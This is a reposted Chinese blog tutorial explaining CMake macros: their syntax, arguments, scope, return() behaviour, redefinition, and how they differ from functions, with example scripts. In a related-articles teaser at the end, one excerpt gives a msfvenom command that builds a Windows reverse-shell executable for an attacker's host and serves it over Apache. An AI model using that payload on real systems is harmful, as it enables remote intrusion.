CMake中macro的使用

news/2024/4/30 2:04:01/文章来源:https://blog.csdn.net/fengbingchun/article/details/127145153

      在https://blog.csdn.net/fengbingchun/article/details/127144948 中介绍了CMake中function的使用,这里介绍下macro的使用,它与function有很多的相似性。

      macro的定义格式如下:后面可作为命令供调用

macro(<name> [<arg1> ...])<commands>
endmacro()

      其中name是macro的名字,参数为arg1,arg2等。与function一样,macro名称也不区分大小写,但强烈建议使用macro定义中声明的相同名称。通常,macro使用全小写名称。示例代码段如下:

message("1.与function一样,macro名称也不区分大小写,但始终建议使用macro定义中声明的相同名称")
macro(csdn_addr)message("csdn addr: https://blog.csdn.net/fengbingchun")
endmacro()csdn_addr()
CSDN_ADDR()
csdn_ADDR()

      macro参数:与function一样,macro也采用两种类型的参数:
      (1).命名参数或关键字参数(named or keyword arguments):是必须的,如果未提供将触发error。参数名称之间不需要逗号。示例代码段如下:

message("2.命名参数是必须的,如果未提供将触发error.参数名称之间不需要逗号")
macro(addr csdn github)message("csdn addr: ${csdn}")message("github addr: ${github}")
endmacro()addr("https://blog.csdn.net/fengbingchun" "https://github.com/fengbingchun")

      (2).可选参数(optional arguments):可以使用一些预定义的变量访问可选参数,示例代码段如下:
      ARGC:参数总数(命名参数+可选参数)。
      ARGV:包含命名参数和可选参数的变量列表
      ARGN:仅包含可选参数的变量列表

message("3.可以使用一些预定义的变量访问可选参数:ARGC, ARGV, ARGN")
macro(name_list name1 name2)message("argument count: ${ARGC}")message("all arguments: ${ARGV}")message("optional arguments: ${ARGN}")
endmacro()name_list(Jack Kate Jony Tom)
# only named arguments
name_list(Jack Kate)

      除了这三个变量之外,cmake还提供了ARGV0,ARGV1,ARGV2,...,这将具有传入参数的实际值。引用ARGC之外的ARGV#参数将导致未定义的行为。注意:这些在function中起作用,在macro中直接使用无效。在function中,它们是CMake意义上的真变量;在macro中,它们不是,它们是字符串替换,就像C预处理器对macro所做的那样。

message("4.cmake还提供了ARGV0,ARGV1,ARGV2,...,这将具有传入参数的实际值.引用ARGC之外的ARGV#参数将导致未定义的行为.这些在function中起作用,在macro中不作改动无效")
macro(programming_language name1 name2)# 在某些情况下,macro在使用特殊变量时会表现出奇怪的行为,注意:此处与function的差异if(${ARGV0}) # 好像不起作用message("ARGV0: ${ARGV0}")else()message("ARGV0 not defined")endif()math(EXPR last_index "${ARGC}-1")foreach(index RANGE 0 ${last_index})# 在某些情况下,macro在使用特殊变量时会表现出奇怪的行为,注意:此处与function的差异message("argument at index ${index}: ${ARGV${index}}")endforeach()# 通常,使用变量访问命名参数,使用ARGN访问可选参数message("name1: ${name1}")message("name2: ${name2}")# 注意:此处与function的差异set(list_var ${ARGN})#message("list var: ${list_var}")#foreach(arg IN LISTS ${ARGN}) # 好像不起作用foreach(arg IN LISTS list_var)message("optional name: ${arg}")endforeach()
endmacro()programming_language(C++ Python Go Matlab)

      通常,使用变量访问命名参数,使用ARGN访问可选参数

      使用DEFINED关键字,你可以检查是否定义了给定的变量、缓存变量或环境变量。变量的值无关紧要。在某些情况下,macro在使用特殊变量时会表现出奇怪的行为。

message("5.使用DEFINED关键字,你可以检查是否定义了给定的变量、缓存变量或环境变量.变量的值无关紧要.在function中起作用,在macro中无效")
macro(foo_macro name)# 在某些情况下,macro在使用特殊变量时会表现出奇怪的行为,注意:此处与function的差异if(DEFINED name)message("macro argument name is defined")else()message("macro argument name is not defined")endif()
endmacro()function(foo_func name)if(DEFINED name)message("func argument name is defined")else()message("func argument name is not defined")endif()
endfunction()foo_macro(csdn)
foo_func(csdn)

      变量作用域(variable scope):与function不同,macro不会引入新的作用域在macro中声明的变量(参数除外)将在调用后可用。function在调用时始终引入新作用域(new scope)。对于macro,macro调用将替换为marco主体(macro body),并使用字符串替换(string substitution)替换参数。因此,在某些情况下,function和macro的行为不同。

message("6.与function不同,macro不会引入新的作用域.在macro中声明的变量(参数除外)将在调用后可用")
set(development_language "C++")macro(set_development_language name)message("macro param: ${name}")message("macro name: ${development_language}")set(new_language "Python")set(development_language "Matlab")message("macro new language: ${new_language}")
endmacro()set_development_language("Go")
message("development_language: ${development_language}")
message("new language: ${new_language}")

      return()命令:由于macro不会创建任何新作用域,因此调用return()将退出当前作用域

message("7.由于macro不会创建任何新作用域,因此调用return()将退出当前作用域,这里是退出当前的.cmake文件,注意与在function里的差异:退出当前的function")
macro(early_return)message("csdn")return()message("github") # it will not be printed
endmacro()early_return() # 退出当前cmake文件
message("will never be executed")

      如果定义了一个已经存在的macro时,将覆盖上一个macro。可以使用"_"加macro name的方式访问上一个macro。如果再次重新定义同一个macro,"_"加macro name版本将调用先前定义的macro。原始macro将永远不可用。如果开发人员在编写macro时不知道该macro已用于某些cmake库macro,则原始macro有可能永远隐藏。

message("8.如果定义了一个已经存在的macro时,将覆盖上一个macro.可以使用\"_\"加macro name的方式访问上一个macro.如果再次重新定义同一个macro,\"_\"加macro name版本将调用先前定义的macro.原始macro将永远不可用.")
macro(csdn_addr)message("csdn addr: https://github.com/fengbingchun")
endmacro()csdn_addr() # csdn addr: https://github.com/fengbingchun
_csdn_addr() # csdn addr: https://blog.csdn.net/fengbingchunmacro(csdn_addr)message("csdn addr: https://www.baidu.com/")
endmacro()csdn_addr() # csdn addr: https://www.baidu.com/
_csdn_addr() # csdn addr: https://github.com/fengbingchun

      也可通过cmake的预定义的命令cmake_parse_arguments来解析macro的参数。

      function和macro的不同
      (1).变量作用域不同:function会引入新的作用域,而macro不会,即,默认,function内新增的变量外部不可见;而macro内新增的变量外部可见。
      (2).cmake提供的变量ARGV0,ARGV1,ARGV2,...,在function中有效,在macro中无效。在某些情况下,macro中的ARGN也不会生效,在macro中,它们是字符串替换,就像C预处理器对macro所做的那样。
      (3).function内调用return()命令是退出当前function;而macro内调用return()是退出当前cmake文件。建议在macro中完全避免使用return()。
      (4).CMAKE_CURRENT_FUNCTION, CMAKE_CURRENT_FUNCTION_LIST_DIR, CMAKE_CURRENT_FUNCTION_LIST_FILE, CMAKE_CURRENT_FUNCTION_LIST_LIN这些变量应用于function中而不是macro中。

      测试代码组织结构如下:

      build.sh内容如下:

#! /bin/bash# supported input parameters
params=(function macro)usage()
{echo "Error: $0 needs to have an input parameter"echo "supported input parameters:"for param in ${params[@]}; doecho "  $0 ${param}"doneexit -1
}if [ $# != 1 ]; thenusage
fiflag=0
for param in ${params[@]}; doif [ $1 == ${param} ]; thenflag=1breakfi
doneif [ ${flag} == 0 ]; thenecho "Error: parameter \"$1\" is not supported"usageexit -1
fiif [[ ! -d "build" ]]; thenmkdir buildcd build
elsecd build
fiecho "==== test $1 ===="
cmake -DTEST_CMAKE_FEATURE=$1 ..

      CMakeLists.txt内容如下:

CMAKE_MINIMUM_REQUIRED(VERSION 3.13)
PROJECT(cmake_feature_usage)if(TEST_CMAKE_FEATURE STREQUAL "function")include(test_function.cmake)
elseif(TEST_CMAKE_FEATURE STREQUAL "macro")include(test_macro.cmake)
endif()message("==== test finish ====")

     test_macro.cmake内容:为上面所示代码段

     执行结果如下图所示:

      GitHub:https://github.com/fengbingchun/Linux_Code_Test

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17650.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DB2在Linux下静默安装

目录前言1. 下载并上传db2压缩包到Linux2. 检测db2安装环境3. 安装db2数据库软件4. 配置db2数据库系统用户5. 创建数据库实例6. 配置TCP/IP通信服务7. 配置数据库8. 启动和关闭数据库实例9. 修改权限10 数据库客户端和工具链接11. 创建数据库多实例前言 db2是IBM公司开发的一款…

【C++】AVL树模拟实现

文章目录AVLTree概念AVLTree插入实现AVLTree测试AVLTree的性能AVLTree概念 AVLTree&#xff08;搜索平衡二叉树&#xff09; 性质一&#xff1a;每一个节点的左右子树都是AVLTree 性质二&#xff1a;每个节点左右子树高度只差不超过1 优点&#xff1a;提高查找效率&#xff0c…

python容器

1.什么是数据容器&#xff1a; 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一&#xff1a;列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的&#xff08;索引&#xff09;允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

&#x1f60d;&#x1f60d;&#x1f60d;更多精彩福利&#x1f60d;&#x1f60d;&#x1f60d; 三维重建经典算法 1. ICP 迭代最近点算法&#xff08;Iterative Closest Point, ICP&#xff09;是一种点云配准算法&#xff0c;用来求解两堆点云之间的变换关系&#xff1a;…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列&#xff08;一&#xff09;mysql体系结构和存储引擎MySQL怎么运行的系列&#xff08;二&#xff09;Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列&#xff08;三&#xff09;InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动&#xff0c;扫描得到所有BeanDefinition之后&#xff0c;就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里&#xff1a; org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…